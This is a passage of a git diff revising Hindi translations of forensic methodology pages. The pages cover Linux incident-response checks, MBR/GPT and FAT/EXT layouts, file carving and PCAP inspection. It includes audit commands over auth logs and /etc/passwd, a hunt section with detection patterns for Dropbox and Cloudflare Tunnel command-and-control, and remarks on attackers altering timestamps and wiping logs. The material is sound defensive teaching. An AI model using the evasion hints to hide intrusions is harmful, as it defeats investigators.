प्लग को खींचें। #### डिस्क की इमेज लेना @@ -145,6 +145,7 @@ Linux सिस्टम घटकों की अखंडता सुनि मैलवेयर खोजने के लिए उपयोगी उपकरणों के बारे में जानने के लिए निम्नलिखित पृष्ठ पढ़ें: + {{#ref}} malware-analysis.md {{#endref}} @@ -156,7 +157,7 @@ Debian और RedHat सिस्टम पर स्थापित कार - Debian के लिए, पैकेज इंस्टॉलेशन के बारे में विवरण प्राप्त करने के लिए _**`/var/lib/dpkg/status`**_ और _**`/var/log/dpkg.log`**_ की जांच करें, विशेष जानकारी के लिए `grep` का उपयोग करें। - RedHat उपयोगकर्ता स्थापित पैकेजों की सूची के लिए `rpm -qa --root=/mntpath/var/lib/rpm` के साथ RPM डेटाबेस को क्वेरी कर सकते हैं। -इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान करने के लिए निर्देशिका लिस्टिंग को सिस्टम-विशिष्ट कमांड के साथ मिलाएं, जिससे सभी स्थापित कार्यक्रमों की खोज को बढ़ाया जा सके। +इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान करने के लिए निर्देशिका लिस्टिंग को सिस्टम-विशिष्ट कमांड के साथ संयोजित करें, जिससे सभी स्थापित कार्यक्रमों की खोज को बढ़ाया जा सके। ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -215,8 +216,8 @@ grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd ``` #### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel) -- Dropbox API बीकन आमतौर पर HTTPS पर Authorization: Bearer टोकन के साथ api.dropboxapi.com या content.dropboxapi.com का उपयोग करते हैं। -- सर्वरों से अप्रत्याशित Dropbox egress के लिए proxy/Zeek/NetFlow में Hunt करें। +- Dropbox API बीकन आमतौर पर api.dropboxapi.com या content.dropboxapi.com का उपयोग HTTPS पर Authorization: Bearer टोकन के साथ करते हैं। +- सर्वरों से अप्रत्याशित Dropbox egress के लिए proxy/Zeek/NetFlow में खोजें। - Cloudflare Tunnel (`cloudflared`) आउटबाउंड 443 पर बैकअप C2 प्रदान करता है। ```bash ps aux | grep -E '[c]loudflared|trycloudflare' @@ -254,10 +255,10 @@ Linux विभिन्न फ़ाइलों का उपयोग कर ## Examine Logs -Linux सिस्टम उपयोगकर्ता गतिविधियों और सिस्टम घटनाओं को विभिन्न लॉग फ़ाइलों के माध्यम से ट्रैक करता है। ये लॉग अनधिकृत पहुंच, मैलवेयर संक्रमण, और अन्य सुरक्षा घटनाओं की पहचान के लिए महत्वपूर्ण हैं। प्रमुख लॉग फ़ाइलें शामिल हैं: +Linux सिस्टम उपयोगकर्ता गतिविधियों और सिस्टम घटनाओं को विभिन्न लॉग फ़ाइलों के माध्यम से ट्रैक करते हैं। ये लॉग अनधिकृत पहुंच, मैलवेयर संक्रमण, और अन्य सुरक्षा घटनाओं की पहचान के लिए महत्वपूर्ण हैं। प्रमुख लॉग फ़ाइलें शामिल हैं: -- **/var/log/syslog** (Debian) या **/var/log/messages** (RedHat): सिस्टम-व्यापी संदेशों और गतिविधियों को कैप्चर करता है। -- **/var/log/auth.log** (Debian) या **/var/log/secure** (RedHat): प्रमाणीकरण प्रयासों, सफल और असफल लॉगिन को रिकॉर्ड करता है। +- **/var/log/syslog** (Debian) या **/var/log/messages** (RedHat): सिस्टम-व्यापी संदेशों और गतिविधियों को कैप्चर करते हैं। +- **/var/log/auth.log** (Debian) या **/var/log/secure** (RedHat): प्रमाणीकरण प्रयासों, सफल और असफल लॉगिन को रिकॉर्ड करते हैं। - प्रासंगिक प्रमाणीकरण घटनाओं को फ़िल्टर करने के लिए `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` का उपयोग करें। - **/var/log/boot.log**: सिस्टम स्टार्टअप संदेशों को रखता है। - **/var/log/maillog** या **/var/log/mail.log**: ईमेल सर्वर गतिविधियों को लॉग करता है, ईमेल-संबंधित सेवाओं को ट्रैक करने के लिए उपयोगी। @@ -266,16 +267,16 @@ Linux सिस्टम उपयोगकर्ता गतिविधिय - **/var/log/faillog**: असफल लॉगिन प्रयासों को रिकॉर्ड करता है, सुरक्षा उल्लंघन की जांच में मदद करता है। - **/var/log/cron**: क्रोन जॉब निष्पादन को लॉग करता है। - **/var/log/daemon.log**: पृष्ठभूमि सेवा गतिविधियों को ट्रैक करता है। -- **/var/log/btmp**: असफल लॉगिन प्रयासों का दस्तावेज करता है। +- **/var/log/btmp**: असफल लॉगिन प्रयासों का दस्तावेजीकरण करता है। - **/var/log/httpd/**: Apache HTTPD त्रुटि और एक्सेस लॉग को रखता है। - **/var/log/mysqld.log** या **/var/log/mysql.log**: MySQL डेटाबेस गतिविधियों को लॉग करता है। -- **/var/log/xferlog**: FTP फ़ाइल स्थानांतरणों को रिकॉर्ड करता है। +- **/var/log/xferlog**: FTP फ़ाइल ट्रांसफर को रिकॉर्ड करता है। - **/var/log/**: यहाँ अप्रत्याशित लॉग के लिए हमेशा जाँच करें। > [!TIP] > Linux सिस्टम लॉग और ऑडिट उपप्रणालियाँ एक घुसपैठ या मैलवेयर घटना में अक्षम या हटा दी जा सकती हैं। क्योंकि Linux सिस्टम पर लॉग आमतौर पर दुर्भावनापूर्ण गतिविधियों के बारे में कुछ सबसे उपयोगी जानकारी रखते हैं, घुसपैठिए नियमित रूप से उन्हें हटा देते हैं। इसलिए, उपलब्ध लॉग फ़ाइलों की जांच करते समय, यह महत्वपूर्ण है कि आप उन अंतरालों या अनुक्रम से बाहर की प्रविष्टियों की तलाश करें जो हटाने या छेड़छाड़ का संकेत हो सकते हैं। -**Linux प्रत्येक उपयोगकर्ता के लिए एक कमांड इतिहास बनाए रखता है**, जो निम्नलिखित में संग्रहीत होता है: +**Linux प्रत्येक उपयोगकर्ता के लिए एक कमांड इतिहास बनाए रखता है**, जो संग्रहीत होता है: - \~/.bash_history - \~/.zsh_history @@ -283,7 +284,7 @@ Linux सिस्टम उपयोगकर्ता गतिविधिय - \~/.python_history - \~/.\*\_history -इसके अलावा, `last -Faiwx` कमांड उपयोगकर्ता लॉगिन की एक सूची प्रदान करता है। अज्ञात या अप्रत्याशित लॉगिन के लिए इसे जाँचें। +इसके अलावा, `last -Faiwx` कमांड उपयोगकर्ता लॉगिन की एक सूची प्रदान करता है। अज्ञात या अप्रत्याशित लॉगिन के लिए इसे जांचें। अतिरिक्त rprivileges देने वाली फ़ाइलों की जाँच करें: @@ -299,8 +300,8 @@ Linux सिस्टम उपयोगकर्ता गतिविधिय - **Firefox/Chrome**: संदिग्ध गतिविधियों के लिए _\~/.mozilla/firefox_ या _\~/.config/google-chrome_ में ब्राउज़र इतिहास और डाउनलोड की जाँच करें। - **VIM**: उपयोग किए गए विवरणों के लिए _\~/.viminfo_ की समीक्षा करें, जैसे एक्सेस की गई फ़ाइलों के पथ और खोज इतिहास। - **Open Office**: हाल की दस्तावेज़ पहुँच की जाँच करें जो समझौता की गई फ़ाइलों का संकेत दे सकती है। -- **FTP/SFTP**: अनधिकृत फ़ाइल स्थानांतरणों के लिए _\~/.ftp_history_ या _\~/.sftp_history_ में लॉग की समीक्षा करें। -- **MySQL**: निष्पादित MySQL प्रश्नों के लिए _\~/.mysql_history_ की जांच करें, जो संभावित रूप से अनधिकृत डेटाबेस गतिविधियों को प्रकट कर सकती है। +- **FTP/SFTP**: अनधिकृत फ़ाइल ट्रांसफर के लिए _\~/.ftp_history_ या _\~/.sftp_history_ में लॉग की समीक्षा करें। +- **MySQL**: संभावित रूप से अनधिकृत डेटाबेस गतिविधियों को प्रकट करने के लिए _\~/.mysql_history_ की जांच करें। - **Less**: उपयोग इतिहास के लिए _\~/.lesshst_ का विश्लेषण करें, जिसमें देखी गई फ़ाइलें और निष्पादित कमांड शामिल हैं। - **Git**: रिपॉजिटरी में परिवर्तनों के लिए _\~/.gitconfig_ और प्रोजेक्ट _.git/logs_ की जांच करें। @@ -355,7 +356,7 @@ ls -laR --sort=time /bin``` ls -lai /bin | sort -n``` ```` > [!TIP] -> ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी **समय** में बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फ़ाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो इसका मतलब है कि उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**। +> ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी समय बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**। ## विभिन्न फाइल सिस्टम संस्करणों की तुलना करें diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 940b7bb04..be3d8f4ce 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -7,49 +7,49 @@ एक हार्ड ड्राइव या **SSD डिस्क में विभिन्न विभाजन हो सकते हैं** जिनका उद्देश्य डेटा को भौतिक रूप से अलग करना है।\ डिस्क की **न्यूनतम** इकाई **सेक्टर** है (सामान्यतः 512B का बना होता है)। इसलिए, प्रत्येक विभाजन का आकार उस आकार का गुणांक होना चाहिए। -### MBR (मास्टर बूट रिकॉर्ड) +### MBR (master Boot Record) -यह **446B बूट कोड के बाद डिस्क के पहले सेक्टर में आवंटित होता है**। यह सेक्टर PC को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\ -यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजनों की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले सेक्टर का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\ +यह **446B बूट कोड के बाद डिस्क के पहले सेक्टर में आवंटित** होता है। यह सेक्टर PC को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\ +यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजन की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले सेक्टर का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\ MBR **अधिकतम 2.2TB** की अनुमति देता है। ![](<../../../images/image (350).png>) ![](<../../../images/image (304).png>) -**MBR के 440 से 443 बाइट्स** में आप **Windows डिस्क सिग्नेचर** पा सकते हैं (यदि Windows का उपयोग किया गया है)। हार्ड डिस्क का तार्किक ड्राइव लेटर Windows डिस्क सिग्नेचर पर निर्भर करता है। इस सिग्नेचर को बदलने से Windows बूट करने में विफल हो सकता है (उपकरण: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**। +**MBR के 440 से 443 बाइट्स** में आप **Windows Disk Signature** पा सकते हैं (यदि Windows का उपयोग किया जा रहा है)। हार्ड डिस्क का तार्किक ड्राइव लेटर Windows Disk Signature पर निर्भर करता है। इस सिग्नेचर को बदलने से Windows बूट करने में विफल हो सकता है (उपकरण: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**। ![](<../../../images/image (310).png>) -**फॉर्मेट** +**Format** -| ऑफसेट | लंबाई | आइटम | +| Offset | Length | Item | | ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | बूट कोड | -| 446 (0x1BE) | 16 (0x10) | पहला विभाजन | -| 462 (0x1CE) | 16 (0x10) | दूसरा विभाजन | -| 478 (0x1DE) | 16 (0x10) | तीसरा विभाजन | -| 494 (0x1EE) | 16 (0x10) | चौथा विभाजन | -| 510 (0x1FE) | 2 (0x2) | सिग्नेचर 0x55 0xAA | +| 0 (0x00) | 446(0x1BE) | Boot code | +| 446 (0x1BE) | 16 (0x10) | First Partition | +| 462 (0x1CE) | 16 (0x10) | Second Partition | +| 478 (0x1DE) | 16 (0x10) | Third Partition | +| 494 (0x1EE) | 16 (0x10) | Fourth Partition | +| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | -**विभाजन रिकॉर्ड फॉर्मेट** +**Partition Record Format** -| ऑफसेट | लंबाई | आइटम | +| Offset | Length | Item | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | सक्रिय ध्वज (0x80 = बूट करने योग्य) | -| 1 (0x01) | 1 (0x01) | प्रारंभिक सिर | -| 2 (0x02) | 1 (0x01) | प्रारंभिक सेक्टर (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | -| 3 (0x03) | 1 (0x01) | प्रारंभिक सिलेंडर के सबसे कम 8 बिट | -| 4 (0x04) | 1 (0x01) | विभाजन प्रकार कोड (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | अंतिम सिर | -| 6 (0x06) | 1 (0x01) | अंतिम सेक्टर (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | -| 7 (0x07) | 1 (0x01) | अंतिम सिलेंडर के सबसे कम 8 बिट | -| 8 (0x08) | 4 (0x04) | विभाजन से पहले के सेक्टर (लिटिल एंडियन) | -| 12 (0x0C) | 4 (0x04) | विभाजन में सेक्टर | +| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | +| 1 (0x01) | 1 (0x01) | Start head | +| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | +| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | +| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | End head | +| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | +| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | +| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | +| 12 (0x0C) | 4 (0x04) | Sectors in partition | Linux में MBR को माउंट करने के लिए आपको पहले प्रारंभिक ऑफसेट प्राप्त करने की आवश्यकता है (आप `fdisk` और `p` कमांड का उपयोग कर सकते हैं) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) और फिर निम्नलिखित कोड का उपयोग करें ```bash @@ -66,8 +66,8 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ GUID Partition Table, जिसे GPT के नाम से जाना जाता है, MBR (Master Boot Record) की तुलना में इसकी उन्नत क्षमताओं के लिए पसंद किया जाता है। विभाजनों के लिए इसके **वैश्विक अद्वितीय पहचानकर्ता** के लिए विशिष्ट, GPT कई तरीकों से अलग है: -- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का आकार 32बिट है। -- **विभाजन सीमाएँ**: GPT Windows सिस्टम पर **128 विभाजनों** तक का समर्थन करता है और **9.4ZB** डेटा को समायोजित करता है। +- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का 32बिट है। +- **विभाजन सीमाएँ**: GPT Windows सिस्टम पर **128 विभाजनों** का समर्थन करता है और **9.4ZB** डेटा तक समायोजित करता है। - **विभाजन नाम**: विभाजनों को 36 Unicode वर्णों तक नाम देने की क्षमता प्रदान करता है। **डेटा स्थिरता और पुनर्प्राप्ति**: @@ -77,7 +77,7 @@ GUID Partition Table, जिसे GPT के नाम से जाना ज **सुरक्षात्मक MBR (LBA0)**: -- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को ओवरराइट करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है। +- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को अधिलेखित करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है। ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) @@ -85,19 +85,19 @@ GUID Partition Table, जिसे GPT के नाम से जाना ज [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -उन ऑपरेटिंग सिस्टम में जो **BIOS** सेवाओं के माध्यम से **GPT-आधारित बूट** का समर्थन करते हैं, पहले सेक्टर का उपयोग **बूटलोडर** कोड के पहले चरण को संग्रहीत करने के लिए भी किया जा सकता है, लेकिन **संशोधित** किया गया है ताकि **GPT** **विभाजनों** को पहचान सके। MBR में बूटलोडर को 512 बाइट्स के सेक्टर आकार का अनुमान नहीं लगाना चाहिए। +उन ऑपरेटिंग सिस्टम में जो **BIOS** सेवाओं के माध्यम से **GPT-आधारित बूट** का समर्थन करते हैं, पहले सेक्टर का उपयोग **बूटलोडर** कोड के पहले चरण को संग्रहीत करने के लिए भी किया जा सकता है, लेकिन **संशोधित** किया गया है ताकि **GPT** **विभाजनों** को पहचान सके। MBR में बूटलोडर को 512 बाइट के सेक्टर आकार का अनुमान नहीं लगाना चाहिए। **विभाजन तालिका शीर्षक (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -विभाजन तालिका शीर्षक डिस्क पर उपयोग किए जाने वाले ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) का निर्माण करने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है। +विभाजन तालिका शीर्षक डिस्क पर उपयोग किए जाने वाले ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) को बनाने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है। | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h या 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)छोटे अंत मशीनों पर) | +| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) UEFI 2.8 के लिए | +| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h या 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | | 20 (0x14) | 4 bytes | Reserved; must be zero | | 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | @@ -131,7 +131,7 @@ More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](htt ### निरीक्षण -[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) के साथ फॉरेंसिक इमेज को माउंट करने के बाद, आप Windows टूल [**Active Disk Editor**](https://www.disk-editor.org/index.html)** का उपयोग करके पहले सेक्टर का निरीक्षण कर सकते हैं।** निम्नलिखित छवि में **सेक्टर 0** पर एक **MBR** का पता लगाया गया और व्याख्या की गई: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) के साथ फोरेंसिक इमेज को माउंट करने के बाद, आप Windows टूल [**Active Disk Editor**](https://www.disk-editor.org/index.html)** का उपयोग करके पहले सेक्टर का निरीक्षण कर सकते हैं।** निम्नलिखित छवि में **सेक्टर 0** पर एक **MBR** का पता लगाया गया और व्याख्या की गई: ![](<../../../images/image (354).png>) @@ -154,22 +154,22 @@ More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](htt फ़ाइल प्रणाली की मूल भंडारण इकाई एक **क्लस्टर, आमतौर पर 512B** है, जिसमें कई सेक्टर शामिल होते हैं। FAT ने संस्करणों के माध्यम से विकसित किया है: - **FAT12**, 12-बिट क्लस्टर पते का समर्थन करता है और 4078 क्लस्टर (4084 UNIX के साथ) को संभालता है। -- **FAT16**, 16-बिट पते में सुधार करता है, जिससे 65,517 क्लस्टर तक का समर्थन होता है। -- **FAT32**, 32-बिट पते के साथ आगे बढ़ता है, जिससे प्रति वॉल्यूम 268,435,456 क्लस्टर की प्रभावशाली संख्या की अनुमति मिलती है। +- **FAT16**, 16-बिट पते में सुधार करता है, जिससे 65,517 क्लस्टर तक समायोजित किया जा सके। +- **FAT32**, 32-बिट पते के साथ और भी आगे बढ़ता है, जिससे प्रति वॉल्यूम 268,435,456 क्लस्टर की प्रभावशाली संख्या की अनुमति मिलती है। FAT संस्करणों में एक महत्वपूर्ण सीमा **4GB अधिकतम फ़ाइल आकार** है, जो फ़ाइल आकार भंडारण के लिए उपयोग किए जाने वाले 32-बिट क्षेत्र द्वारा निर्धारित की गई है। -FAT12 और FAT16 के लिए रूट निर्देशिका के प्रमुख घटकों में शामिल हैं: +रूट निर्देशिका के प्रमुख घटक, विशेष रूप से FAT12 और FAT16 के लिए, में शामिल हैं: - **फ़ाइल/फ़ोल्डर नाम** (8 वर्णों तक) - **गुण** - **निर्माण, संशोधन, और अंतिम पहुँच तिथियाँ** -- **FAT तालिका पता** (फ़ाइल के प्रारंभिक क्लस्टर को इंगित करता है) +- **FAT तालिका पता** (फ़ाइल के प्रारंभ क्लस्टर को इंगित करता है) - **फ़ाइल आकार** ### EXT -**Ext2** सबसे सामान्य फ़ाइल प्रणाली है जो **जर्नलिंग** विभाजनों (**विभाजन जो ज्यादा नहीं बदलते**) के लिए है जैसे बूट विभाजन। **Ext3/4** **जर्नलिंग** हैं और आमतौर पर **बाकी विभाजनों** के लिए उपयोग की जाती हैं। +**Ext2** सबसे सामान्य फ़ाइल प्रणाली है जो **जर्नलिंग** विभाजनों (**विभाजन जो ज्यादा नहीं बदलते**) के लिए है जैसे बूट विभाजन। **Ext3/4** **जर्नलिंग** हैं और आमतौर पर **अन्य विभाजनों** के लिए उपयोग की जाती हैं। ## **मेटाडेटा** @@ -189,7 +189,7 @@ FAT12 और FAT16 के लिए रूट निर्देशिका क ### लॉग की गई हटाई गई फ़ाइलें -जैसा कि पहले देखा गया था, कई स्थान हैं जहाँ फ़ाइल "हटाई गई" के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल सिस्टम से फ़ाइल को हटाने से इसे केवल हटाए गए के रूप में चिह्नित किया जाता है लेकिन डेटा को छुआ नहीं जाता है। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) की जांच करना संभव है और हटाई गई फ़ाइलों को ढूंढना संभव है। +जैसा कि पहले देखा गया है, कई स्थान हैं जहाँ फ़ाइल "हटाई गई" के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल सिस्टम से फ़ाइल को हटाने से इसे केवल हटाए गए के रूप में चिह्नित किया जाता है लेकिन डेटा को छुआ नहीं जाता। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) का निरीक्षण करना संभव है और हटाई गई फ़ाइलों को ढूंढना संभव है। इसके अलावा, OS आमतौर पर फ़ाइल सिस्टम परिवर्तनों और बैकअप के बारे में बहुत सारी जानकारी सहेजता है, इसलिए फ़ाइल को पुनर्प्राप्त करने या यथासंभव अधिक जानकारी प्राप्त करने के लिए उनका उपयोग करने का प्रयास करना संभव है। @@ -199,11 +199,11 @@ file-data-carving-recovery-tools.md ### **फ़ाइल कार्विंग** -**फ़ाइल कार्विंग** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने** का प्रयास करती है। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकार के हेडर और फुटर के आधार पर**, फ़ाइल प्रकार की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर। +**File carving** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने** का प्रयास करती है। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकारों के हेडर और फुटर के आधार पर**, फ़ाइल प्रकारों की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर। -ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने** के लिए काम नहीं करती है। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी। +ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने के लिए काम नहीं करती**। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी। -आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों के लिए खोज करना चाहते हैं, उन्हें इंगित करते हैं। +आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों को खोजने के लिए संकेत देते हैं। {{#ref}} file-data-carving-recovery-tools.md @@ -221,7 +221,7 @@ file-data-carving-recovery-tools.md ### सुरक्षित हटाना स्पष्ट रूप से, फ़ाइलों और उनके बारे में लॉग के कुछ हिस्सों को **"सुरक्षित" हटाने** के तरीके हैं। उदाहरण के लिए, एक फ़ाइल की सामग्री को कई बार बकवास डेटा के साथ **ओवरराइट** करना संभव है, और फिर फ़ाइल के बारे में **$MFT** और **$LOGFILE** से **लॉग** को **हटाना**, और **वॉल्यूम शैडो कॉपीज़** को **हटाना**।\ -आप देख सकते हैं कि इस क्रिया को करने के बावजूद, फ़ाइल के अस्तित्व को अभी भी **अन्य भागों में लॉग किया गया है**, और यह सच है और फॉरेंसिक पेशेवर का काम उन्हें खोजना है। +आप देख सकते हैं कि इस क्रिया को करने के बावजूद, फ़ाइल के अस्तित्व को अभी भी **अन्य भागों में लॉग किया गया हो सकता है**, और यह सच है और फोरेंसिक पेशेवर का काम उन्हें खोजना है। ## संदर्भ diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index e33773bc4..428fc9246 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -> [!NOTE] +> [!TIP] > **PCAP** और **PCAPNG** के बारे में एक नोट: PCAP फ़ाइल प्रारूप के दो संस्करण हैं; **PCAPNG नया है और सभी उपकरणों द्वारा समर्थित नहीं है**। आपको कुछ अन्य उपकरणों में इसके साथ काम करने के लिए Wireshark या किसी अन्य संगत उपकरण का उपयोग करके PCAPNG से PCAP में फ़ाइल को परिवर्तित करने की आवश्यकता हो सकती है। ## Online tools for pcaps -- यदि आपके pcap का हेडर **टूट गया** है, तो आपको इसे **सुधारने** का प्रयास करना 